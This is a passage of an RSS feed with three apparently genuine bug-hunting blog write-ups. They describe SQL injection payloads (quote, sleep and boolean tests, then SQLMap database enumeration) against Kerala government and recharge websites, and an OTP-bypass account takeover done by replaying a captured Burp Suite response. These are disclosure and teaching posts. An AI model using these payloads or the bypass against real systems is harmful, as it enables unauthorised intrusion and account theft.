            <link>https://srlsec.medium.com/sql-injection-vulnerability-on-keralas-online-recharge-website-be1425841697?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/be1425841697</guid>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[error-based-sql-injection]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Thu, 12 Aug 2021 06:02:18 GMT</pubDate>
            <atom:updated>2021-08-21T11:29:48.237Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*piVIvz00ZRwpukrKd3uLMg.png" /></figure><p>Hi everyone, I’m Sarathlal Srl (a.k.a SRLSEC) from India. SQL injection is my favorite attack so I always try to learn about it. In the previous <a href="https://sarathlal-srl.medium.com/found-sql-injection-vulnerability-in-redacted-kerala-gov-in-c946f740723d">write-up</a>, I explained what is SQL Injection and how to approach a target. In this simple write-up, I will describe how I was able to found three different types of SQL injection in one POST parameter. This vulnerability I found on Kerala’s online recharge website. First of all, I will leave “red colour” in the sensitive parts.</p><p>After authenticating in the application, I noticed that there’s a add shortcuts button and I came across the following request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dEMUgUOAYNdrwknmL-fERg.png" /></figure><p><strong>So let’s start to test input validation to identify sqli.</strong></p><blockquote><strong><em>1.Error-based SQL Injection</em></strong></blockquote><p>PAYLOAD:- [‘]</p><p>I put a single quote (‘) in the mid%5B12%5D parameter, application return with MySQL error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2rqIfwt3LAIjugufy4kqQ.png" /></figure><blockquote><strong><em>2.Time-based SQL Injection</em></strong></blockquote><p>PAYLOAD:- [&#39; AND sleep(10)#]</p><p>I injected a MySQL function sleep()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21WhRitGUHacv4nDbs-zEA.png" /></figure><p>IT WORKED!!! And now that the server sleeps for 10 seconds.</p><blockquote><strong><em>3.Boolean-based SQL Injection</em></strong></blockquote><p>PAYLOAD:- [1&#39; AND 1=2#]</p><p>If adding True condition [1&#39; AND 1=1#], Normal page returned (true response)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NaYO7sS7kjFzOmnMyjus4Q.png" /></figure><p>When I adding False condition [1&#39; AND 1=2#], Server returned with different response (false response)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hiJ74lWAyxKiZGSf2RQiIw.png" /></figure><p>In this type of blind attack, a Boolean query causes the application to give a different response for a valid or invalid result in the system.</p><h3>Impact</h3><p>Server-side SQL injection leading to database access and exposure of sensitive information. Reading this information likely allows an attacker to execute remote code by stealing admin password resets and user information.</p><h3>Steps to prevent SQL Injection attacks</h3><ol><li>Validate User Inputs</li><li>Sanitize Data By Limiting Special Characters</li><li>Enforce Prepared Statements And Parameterization</li><li>Actively Manage Patches And Updates</li><li>Continuous Monitoring Of SQL Statements</li></ol><p>HOPE YOU LIKE IT : )</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be1425841697" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Takeover by OTP Bypass]]></title>
            <link>https://srlsec.medium.com/account-takeover-by-otp-bypass-97b42400bfdc?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/97b42400bfdc</guid>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Mon, 12 Jul 2021 15:24:01 GMT</pubDate>
            <atom:updated>2021-07-12T15:25:56.552Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*c4SO4GVpuLpHEm0r-LnXAg.png" /></figure><p>Hello everyone, this is my 2nd write-up, the first one is about SQL Injection (<a href="https://sarathlal-srl.medium.com/found-sql-injection-vulnerability-in-redacted-kerala-gov-in-c946f740723d">click here to read</a>). In this write-up I will be sharing the method that how I broke reset password logic to get account takeover without any interaction needed.</p><p>Before we start into what steps I performed, I need to first explain what was the basic functionality of password reset on this website.</p><h3>Password Reset Functionality</h3><p>Simply, When the user wants to reset his password, he enters his mobile number then A OTP will be sent to his mobile number. After entering the OTP the user able to change his password.</p><p>In this website the password reset functionality flow had 3 steps.</p><p><strong>Step-1</strong> : Entering mobile number on which you will get OTP.<br><strong>Step-2</strong> : Confirming the OTP that you got in Mobile number.<br><strong>Step-3</strong> : Changing the password page if the OTP is correct.</p><p>So I hope with this, how the basic functionality is working is clear, now let’s discuss how I got account takeover vulnerability by finding a flaw in logic of this functionality.</p><h3><strong>How to find this vulnerability ?</strong></h3><p>Need two accounts for testing purpose.</p><p>9999999999 (Attacker)</p><p>8888888888 (Victim)</p><ol><li>So in first step ask for OTP for reset password for attacker mobile number (9999999999).</li><li>Now you will get the confirmation code in attacker mobile number, enter the correct code and validate it (At this point capture this request in Burp Suite)</li><li>Now in Burp Suite do Right Click &gt; Do Intercept &gt; Response to this request</li><li>Now Forward and you will get a response , copy it and save it somewhere else for future use(This is the response when OTP is correct).</li><li>Now you will get the Step-III page, but here we don’t have to change the password of attacker, so go back again to Step-I page, and now this time ask a OTP for password reset of Victim mobile number (8888888888).</li><li>This time victim will get OTP in his mobile number, but since we don’t have access to his mobile we will enter any random number, eg: 000000 (At this point capture this request in Burp Suite).</li><li>Now in Burp Suite do Right Click &gt; Do Intercept &gt; Response to this request</li><li>Now Forward and you will get a response (This is the response when confirmation code is incorrect)</li><li>Now replace the previous copied correct response with this response and click on forward.</li><li>You will see we have validated Step-II with wrong OTP and correct response and now we are in Step-III.</li><li>Now simple write a new password submit it and then try to login victim mobile number with new password.</li><li>You will be able to login hence Account Takeover Successful.</li></ol><p>Thanks for reading : )</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97b42400bfdc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Time-Based SQL Injection to Dumping the Database]]></title>
            <link>https://srlsec.medium.com/found-sql-injection-vulnerability-in-redacted-kerala-gov-in-c946f740723d?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/c946f740723d</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[error-based-sql-injection]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Sat, 03 Jul 2021 06:51:54 GMT</pubDate>
            <atom:updated>2021-09-15T01:18:35.101Z</atom:updated>
            <content:encoded><![CDATA[<p>I have always been interested in testing the security of Government websites. This is my first real-world experience in INFOSEC I found SQL Injection vulnerability on a Government website that was a little difficult to detect and exploit. Due to security reasons, I cannot reveal the details of the target website.</p><h3><strong>What is SQL Injection?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*syNXDgyB1hh8O2m5vCQxYA.png" /></figure><p>SQL Injection is a technique that misuses security holes in the database layer of an application. This gap occurs when the input from the user is not filtered correctly, for example, the username column should only be filled with letters or numbers but instead filled with other characters (such as: — = ‘) so that the attacker uses the gap by entering queries from SQL. SQL Injection has always been the most favorite attack technique for hackers. Many web programmers who are still not “aware” of it.</p><p>Let’s start the GAME : )</p><blockquote><strong><em>Subdomain Enumeration</em></strong></blockquote><p>A few days ago I choose a target as kerala.gov.in for bug hunting. As always I started recon on the website and find 1100+ subdomains. During the subdomain enumeration, I used my own tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*uG7Lg9bXrFrdJJOk5UpCXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*kRtMtaiZLPMpauLXWFliww.jpeg" /></figure><p>I randomly selected a subdomain of kerala.gov.in from the huge list for testing.</p><blockquote><strong><em>Testing input validation</em></strong></blockquote><p>I always looking to identify SQLi on website. So I need to list out all database contacting functionalities of the website. During the manual enumeration, I saw a search box on the home page of the website. Then I decided to check input validation of search functionality.</p><p>Target : http://[REDACTED].kerala.gov.in/search.php?q=abc</p><blockquote><strong>Testing Error-based SQLi</strong></blockquote><p>Error-based SQL injection attack is an <strong>In-band injection</strong> technique where we <strong>utilize the error output</strong> from the database to manipulate the data inside the database.</p><p>PAYLOADS=&gt; [‘],[“],[`],[;]</p><p>The first step is to break out SQL query statements. Put single-quote(‘), double-quote(“), backtick(`) or semi-colon(;)in the search input fields to interfere with the existing query. And lookout for any <strong>error-messages</strong> or <strong>misbehavior</strong> in the application.</p><p>http://[REDACTED].kerala.gov.in/search.php?q=abc’ ===&gt; No error http://[REDACTED].kerala.gov.in/search.php?q=abc” ===&gt; No error http://[REDACTED].kerala.gov.in/search.php?q=abc` ===&gt; No error http://[REDACTED].kerala.gov.in/search.php?q=abc; ===&gt; No error</p><p>Unfortunately server responding without any error-messages or misbehavior. So I move to test time-based SQLi.</p><blockquote><strong>Testing Time-based SQLi</strong></blockquote><p>Most databases support the <a href="https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_sleep">SLEEP()</a> function. A function that pauses the execution of the query for a certain amount of seconds. We can use this to exfiltrate data by measuring the time it takes for the server to send a reply back.</p><p><strong>Identify the Actual PAYLOAD by using Burp Suite</strong></p><p>Whenever we can automate stuff, we should try to automate it. I instruct the Burp Suite Intruder to use payloads and replace the §abc§ part with characters from a predefined list (consisting of all the <a href="https://github.com/payloadbox/sql-injection-payload-list">Time-based payloads</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*aSwXXEy5ed6mCoXWwO8-Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzfhQFJp7pv_AMIqSMWgmg.png" /></figure><p>After I run the attack I<strong> </strong>sort on the<strong> </strong><strong>Response completed</strong> column, this one shows the time it took for every payload to return a server response. The following request will make the database sleep for around 20 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLHdL5_ZgAjmPpSLkMwClA.png" /></figure><p>Now that I have got the vulnerable response (time delay) from the server and I confirm that the target is vulnerable to Time-based SQL Injection.</p><p><strong>Identify available databases by using with SQLMap</strong></p><p>A great tool that helps you discover and exploit SQL injection bugs is SQLMap. It can return you proof of concepts payloads and it’s even possible to make full dumps of the target database.</p><p>Save the suspected vulnerable request in a text file and run SQLMap: use -r to load your file, use -p to specify the parameter you want to test and use --dbs to show available databases names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NblVBeCiQovw-7H-yuNo3Q.png" /></figure><p>After 10 minutes I have got available database names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Idzhkb4LbQ05ulIRRGFX1g.png" /></figure><blockquote><strong><em>Impact</em></strong></blockquote><p>An attacker could use this vulnerability to control the content in the database, exfiltrate information, and potentially obtain remote code execution.</p><p>HOPE YOU LIKE IT :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c946f740723d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>